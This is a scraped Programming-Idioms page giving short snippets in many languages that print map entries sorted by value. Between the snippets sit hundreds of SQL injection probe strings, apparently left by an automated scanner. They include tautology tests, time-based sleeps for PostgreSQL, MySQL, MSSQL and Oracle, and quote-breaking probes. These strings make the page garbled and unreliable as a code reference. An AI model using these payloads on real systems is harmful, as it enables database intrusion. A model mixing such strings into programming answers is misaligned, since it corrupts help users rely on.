Logo

Programming-Idioms

Print each key k with its value x from an associative array mymap, in ascending order of x.
Multiple entries may exist for the same value x.
New implementation

Be concise.

Be useful.

All contributions dictatorially edited by webmasters to match personal tastes.

Please do not paste any copyright violating material.

Please try to avoid dependencies to third-party libraries and frameworks.

Other implementations
for_each(begin(mymap), end(mymap),
    [&s](const auto& kv) { s.insert(kv.second); });
using System.Collections.Generic;
using System.Linq;
Dictionary<String, String> mymap = new Dictionary<String, String>();
  
foreach(KeyValuePair<string, string> a in mymap.OrderBy(x => x.Value))
{
  Console.WriteLine("Key = {0}, Value = {1}", a.Key, a.Value);
}
555
555
-1 OR 5*5=25 -- 
555
-1 OR 5*5=25 -- 
555
-1 OR 5*5=26
555
-1 OR 3*2>999
555
-1 OR 3*2>5
555
-1' OR 5*5=25 -- 
555
-1' OR 5*5=25 or 'avmYpzQZ'='
555
-1" OR 5*5=25 or "cSxnDqUY"="
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1 OR 229=(SELECT 229 FROM PG_SLEEP(15))--
555
555-1)) OR 692=(SELECT 692 FROM PG_SLEEP(15))--
555
555c1xurxdf' OR 741=(SELECT 741 FROM PG_SLEEP(15))--
555
5552kIXEUSm') OR 110=(SELECT 110 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
@@USm2C
555
(select 198766*667891)
(select 198766*667891 from DUAL)
555
(select 198766*667891)
555
@@66czl
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555NIzdho7o')) OR 81=(SELECT 81 FROM PG_SLEEP(15))--
555
55552hsxOZP') OR 48=(SELECT 48 FROM PG_SLEEP(15))--
555
555EEnV91tK' OR 351=(SELECT 351 FROM PG_SLEEP(15))--
555
555-1)) OR 850=(SELECT 850 FROM PG_SLEEP(15))--
555
555-1 OR 439=(SELECT 439 FROM PG_SLEEP(15))--
555
555
(select 198766*667891 from DUAL)
555-1 waitfor delay '0:0:15' --
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
-1" OR 5*5=26 or "yjaCSQj5"="
555
-1" OR 5*5=25 or "yjaCSQj5"="
555
-1' OR 5*5=25 or 'purV2F9s'='
555
-1" OR 5*5=26 --
555
-1" OR 5*5=25 --
555
-1' OR 5*5=26 --
555
555
555
-1 OR 5*5=26
555
-1 OR 5*5=25
555
-1 OR 5*5=26 --
555
555
555
mymap.entries.toList()
    ..sort((a, b) => a.value.compareTo(b.value))
    ..forEach(print);
mymap 
|> Map.to_list 
|> Enum.sort(fn ({_k1, val1}, {_k2, val2}) -> val1 <= val2 end)
|> Enum.each(fn ({k, v}) -> IO.puts("#{k}: #{v}") end)
555
-1" OR 5*5=26 or "u51HUNP0"="
555
-1' OR 5*5=26 or 'DxjK79G1'='
555
-1" OR 3*2>5 -- 
555
-1" OR 3*2>999 -- 
555
-1" OR 5*5=26 -- 
555
-1' OR 5*5=25 -- 
555
555*if(now()=sysdate(),sleep(15),0)
555
-1 OR 5*5=25
555
-1 OR 5*5=25 -- 
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select 198766*667891 from DUAL)
555
@@kCn1i
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
5557JN0Ot0m')) OR 48=(SELECT 48 FROM PG_SLEEP(15))--
555
5558CjJe5JA') OR 436=(SELECT 436 FROM PG_SLEEP(15))--
555
555bu99uPxr' OR 686=(SELECT 686 FROM PG_SLEEP(15))--
555
555-1)) OR 174=(SELECT 174 FROM PG_SLEEP(15))--
555
555
555-1 waitfor delay '0:0:15' -- 
555-1) OR 205=(SELECT 205 FROM PG_SLEEP(15))--
555
555-1 OR 14=(SELECT 14 FROM PG_SLEEP(15))--
555
-1 OR 5*5=25 -- 
555
555-1 OR 741=(SELECT 741 FROM PG_SLEEP(15))--
555
555-1) OR 538=(SELECT 538 FROM PG_SLEEP(15))--
555
-1" OR 3*2<5 or "u51HUNP0"="
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555-1)) OR 86=(SELECT 86 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555
-1" OR 5*5=25 or "FtP6bEto"="
555
-1' OR 5*5=25 or 'Y19GBdAj'='
555
555
555TcJBS1p2' OR 910=(SELECT 910 FROM PG_SLEEP(15))--
-1" OR 5*5=25 --
555
-1' OR 5*5=25 --
555
-1 OR 5*5=25
555
555
555w7lYg9d8') OR 324=(SELECT 324 FROM PG_SLEEP(15))--
555
5555TGt4B47')) OR 136=(SELECT 136 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
(select 198766*667891)
555
(select 198766*667891 from DUAL)
import "fmt"
import "sort"
type entry struct {
	key   string
	value int
}

entries := make([]entry, 0, len(mymap))
for k, x := range mymap {
	entries = append(entries, entry{key: k, value: x})
}
sort.Slice(entries, func(i, j int) bool {
	return entries[i].value < entries[j].value
})

for _, e := range entries {
	fmt.Println("Key =", e.key, ", Value =", e.value)
}
555
555
555-1 waitfor delay '0:0:15' --
555
555
555
import Data.Map as Map
import Data.List (sortBy)
import Data.Ord (comparing)
mapM_ print $ sortBy (comparing snd) $ Map.toList mymap
import Data.Map as Map
import Data.List (sortOn)
mapM_ print . sortOn snd $ Map.toList mymap
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
@@AUvIw
555
-1 OR 5*5=25 -- 
555
-1 OR 5*5=25
555
-1' OR 5*5=26 -- 
555
-1' OR 3*2>999 -- 
555
-1' OR 3*2>5 -- 
555
-1" OR 5*5=25 -- 
555
-1' OR 5*5=25 or 'wTMm0AMb'='
555
-1" OR 5*5=25 or "JKS0aYG8"="
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
(select 198766*667891 from DUAL)
555
(select 198766*667891)
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555'"
555
5555q1A3lwU')) OR 495=(SELECT 495 FROM PG_SLEEP(15))--
555
555sO6DDodL') OR 399=(SELECT 399 FROM PG_SLEEP(15))--
555
555et988oYe' OR 596=(SELECT 596 FROM PG_SLEEP(15))--
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1)) OR 366=(SELECT 366 FROM PG_SLEEP(15))--
555
555-1) OR 744=(SELECT 744 FROM PG_SLEEP(15))--
555
555-1 OR 617=(SELECT 617 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555*if(now()=sysdate(),sleep(15),0)
555
-1" OR 3*2<5 or "sh03gZxd"="
555
-1" OR 5*5=26 or "sh03gZxd"="
555
-1' OR 5*5=25 or 'dbrgLv64'='
555
-1 OR 5*5=25
555
555
555-1 waitfor delay '0:0:15' -- 
555
555-1 OR 655=(SELECT 655 FROM PG_SLEEP(15))--
555
555-1) OR 578=(SELECT 578 FROM PG_SLEEP(15))--
555
555
555
555-1)) OR 581=(SELECT 581 FROM PG_SLEEP(15))--
555
555TdQBtC24' OR 367=(SELECT 367 FROM PG_SLEEP(15))--
555
555oucbqzdL') OR 220=(SELECT 220 FROM PG_SLEEP(15))--
555
555
555
(select 198766*667891 from DUAL)
555
(select 198766*667891)
Object.entries(mymap)
  .sort((a, b) => a[1] - b[1])
  .forEach(([key, value]) => {
    console.log('key:', key, 'value:', value);
  });
import static java.lang.System.out;
import static java.util.Map.Entry.comparingByValue;
mymap.entrySet()
    .stream()
    .sorted(comparingByValue())
    .forEach(out::println);
import java.util.Comparator;
import java.util.Map;
mymap.entrySet().stream()
    .sorted(Comparator.comparing(Map.Entry::getValue))
    .forEach(entry -> {
        K k = entry.getKey();
        X x = entry.getValue();
        System.out.println("k:" + k + ", x:" + x);
});

import static java.util.Map.Entry.comparingByValue;
mymap.entrySet()
    .stream()
    .sorted(comparingByValue())
    .forEach(e -> {
        K k = e.getKey();
        X x = e.getValue();
    });
555
-1 OR 5*5=25 -- 
(select 198766*667891)
555
@@NM0f3
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555-1 OR 94=(SELECT 94 FROM PG_SLEEP(15))--
555
555-1) OR 192=(SELECT 192 FROM PG_SLEEP(15))--
555
555-1 waitfor delay '0:0:15' -- 
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
for my $k (sort {($mymap{$a}<=>$mymap{$b}) or ($a cmp $b)}
           keys %mymap) {
   print "$k: $mymap{$k}\n";
}
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555*if(now()=sysdate(),sleep(15),0)
555
555-1)) OR 250=(SELECT 250 FROM PG_SLEEP(15))--
555
(select 198766*667891 from DUAL)
555hEmYLXee' OR 231=(SELECT 231 FROM PG_SLEEP(15))--
555
555
555
555-1) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
555
555
-1" OR 5*5=25 or "5a49Lcik"="
555
555iQzfGdKk' OR 573=(SELECT 573 FROM PG_SLEEP(15))--
555
555
555-1 waitfor delay '0:0:15' --
555
555
-1' OR 5*5=25 or 'C7la5Apb'='
555
-1" OR 5*5=25 -- 
555
-1' OR 5*5=25 -- 
555
-1 OR 5*5=25
555
-1 OR 5*5=25 -- 
555
555dLCSKNcU') OR 524=(SELECT 524 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1 OR 5*5=25 --
555
-1 OR 5*5=25
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
-1' OR 5*5=25 --
555
555
555bWpX65Vw')) OR 238=(SELECT 238 FROM PG_SLEEP(15))--
-1' OR 5*5=26 or 'OagPD2nV'='
555
-1" OR 5*5=25 or "VctrUAK1"="
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
(select 198766*667891)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555-1) OR 246=(SELECT 246 FROM PG_SLEEP(15))--
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555-1 OR 412=(SELECT 412 FROM PG_SLEEP(15))--
555
555z3LE1Csu' OR 759=(SELECT 759 FROM PG_SLEEP(15))--
555
555-1 waitfor delay '0:0:15' --
555
555mDVfMCjr') OR 484=(SELECT 484 FROM PG_SLEEP(15))--
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555AVt0hiSP')) OR 915=(SELECT 915 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
@@6PTzn
555
555
555*if(now()=sysdate(),sleep(15),0)
(select 198766*667891 from DUAL)
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
-1" OR 5*5=25 or "AcK5n36L"="
555
-1' OR 5*5=25 or '6wTXpuLP'='
555
-1" OR 5*5=25 -- 
555
-1' OR 5*5=25 -- 
555
-1 OR 5*5=25
555
(select 198766*667891 from DUAL)
555
(select 198766*667891)
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
-1 OR 5*5=26 -- 
555
555EOzz2kGn')) OR 15=(SELECT 15 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555
555
555QhJt6KoH') OR 408=(SELECT 408 FROM PG_SLEEP(15))--
-1" OR 236=236 or "UwAgXaCP"="
555
-1" OR 5*5=26 or "UwAgXaCP"="
555
-1" OR 5*5=25 or "UwAgXaCP"="
555
-1" OR 5*5=25 --
555
-1' OR 5*5=25 --
555
-1 OR 3*2>5
555
555
555wHHyL8LO' OR 40=(SELECT 40 FROM PG_SLEEP(15))--
-1 OR 5*5=25 --
555
555
555-1)) OR 600=(SELECT 600 FROM PG_SLEEP(15))--
555
555-1) OR 919=(SELECT 919 FROM PG_SLEEP(15))--
555
555-1 OR 984=(SELECT 984 FROM PG_SLEEP(15))--
555
555-1 waitfor delay '0:0:15' -- 
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
-1" OR 5*5=25 or "PHR1jlnj"="
555
-1' OR 516=516 or 'e3YfQS8C'='
555
-1' OR 3*2<5 or 'e3YfQS8C'='
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
(select 198766*667891 from DUAL)
555
(select 198766*667891)
555
@@5ydEf
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1' OR 5*5=26 or 'e3YfQS8C'='
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
-1 OR 5*5=26
555
-1 OR 3*2>999
555
-1 OR 3*2>5
555
555
555-1 waitfor delay '0:0:15' -- 
-1' OR 5*5=25 --
555
-1' OR 5*5=26 --
555
555
-1" OR 5*5=25 -- 
-1' OR 3*2>5 --
555
555
555
5559XTOW9AH')) OR 909=(SELECT 909 FROM PG_SLEEP(15))--
555
555
555-1 OR 55=(SELECT 55 FROM PG_SLEEP(15))--
-1' OR 5*5=26 or 'U6tK5Yj8'='
555
-1' OR 3*2<5 or 'U6tK5Yj8'='
555
-1" OR 3*2<5 or "b4QeSBAM"="
555
for x, k in sorted((x, k) for k,x in mymap.items()):
    print(k, x)
-1" OR 2-1=1 AND 927=927 or "b4QeSBAM"="
555
-1" OR 2*1=1 AND 927=927 or "b4QeSBAM"="
555
555nKpOP1CM' OR 442=(SELECT 442 FROM PG_SLEEP(15))--
555
555
555-1) OR 975=(SELECT 975 FROM PG_SLEEP(15))--
555
-1' OR 5*5=25 -- 
555*if(now()=sysdate(),sleep(15),0)
555
555
555-1)) OR 622=(SELECT 622 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
for x in sorted(mymap, key=mymap.get):
    print(x, mymap[x])
555-1)) OR 259=(SELECT 259 FROM PG_SLEEP(15))--
555
555-1) OR 73=(SELECT 73 FROM PG_SLEEP(15))--
555
import operator
for key, value in sorted(d.items(), key=operator.itemgetter(1)):
    print(key, value)
555
5551ULJjR37' OR 333=(SELECT 333 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
555
555
(select 198766*667891)
from operator import itemgetter
for x in sorted(mymap.items(), key=itemgetter(1)):
    print(x)
555
-1 OR 5*5=25 -- 
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
-1 OR 5*5=25
555
@@5zBzt
555
(select 198766*667891 from DUAL)
555
(select 198766*667891)
555
555'"
-1' OR 5*5=25 or 'fRR2c5vF'='
555
555-1 OR 585=(SELECT 585 FROM PG_SLEEP(15))--
555
555
-1" OR 5*5=25 or "bRYx49Kz"="
555-1) OR 591=(SELECT 591 FROM PG_SLEEP(15))--
555
555
-1' OR 5*5=25 or 'diSbsJtZ'='
555-1)) OR 179=(SELECT 179 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
5558ecKKkOW')) OR 922=(SELECT 922 FROM PG_SLEEP(15))--
555
-1" OR 5*5=25 -- 
5554fM17weM' OR 360=(SELECT 360 FROM PG_SLEEP(15))--
555
555
-1' OR 5*5=25 -- 
555
-1 OR 5*5=25
555
-1 OR 5*5=25 -- 
555xIMk90Kd') OR 871=(SELECT 871 FROM PG_SLEEP(15))--
555
555
555
555
555BON0ZVoO') OR 213=(SELECT 213 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555-1)) OR 381=(SELECT 381 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
mymap.sort_by{|k,x| x}.each{|k,x| puts "#{k}: #{x}"}
555
555
555
555-1) OR 471=(SELECT 471 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
555
555-1 OR 552=(SELECT 552 FROM PG_SLEEP(15))--
@@aBEIF
555
(select 198766*667891)
555
555*if(now()=sysdate(),sleep(15),0)
555
-1" OR 5*5=26 or "LvU2sulL"="
555
-1" OR 5*5=25 --
555
-1' OR 5*5=25 --
555
-1 OR 5*5=25
555
-1 OR 5*5=25 --
555
555
555*if(now()=sysdate(),sleep(15),0)
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
use itertools::Itertools;
for (k, x) in mymap.iter().sorted_by_key(|x| x.1) {
	println!("[{},{}]", k, x);
}
let mut items: Vec<_> = mymap.iter().collect();
items.sort_by_key(|item| item.1);
for (k, x) in items {
    println!("[{},{}]", k, x);
}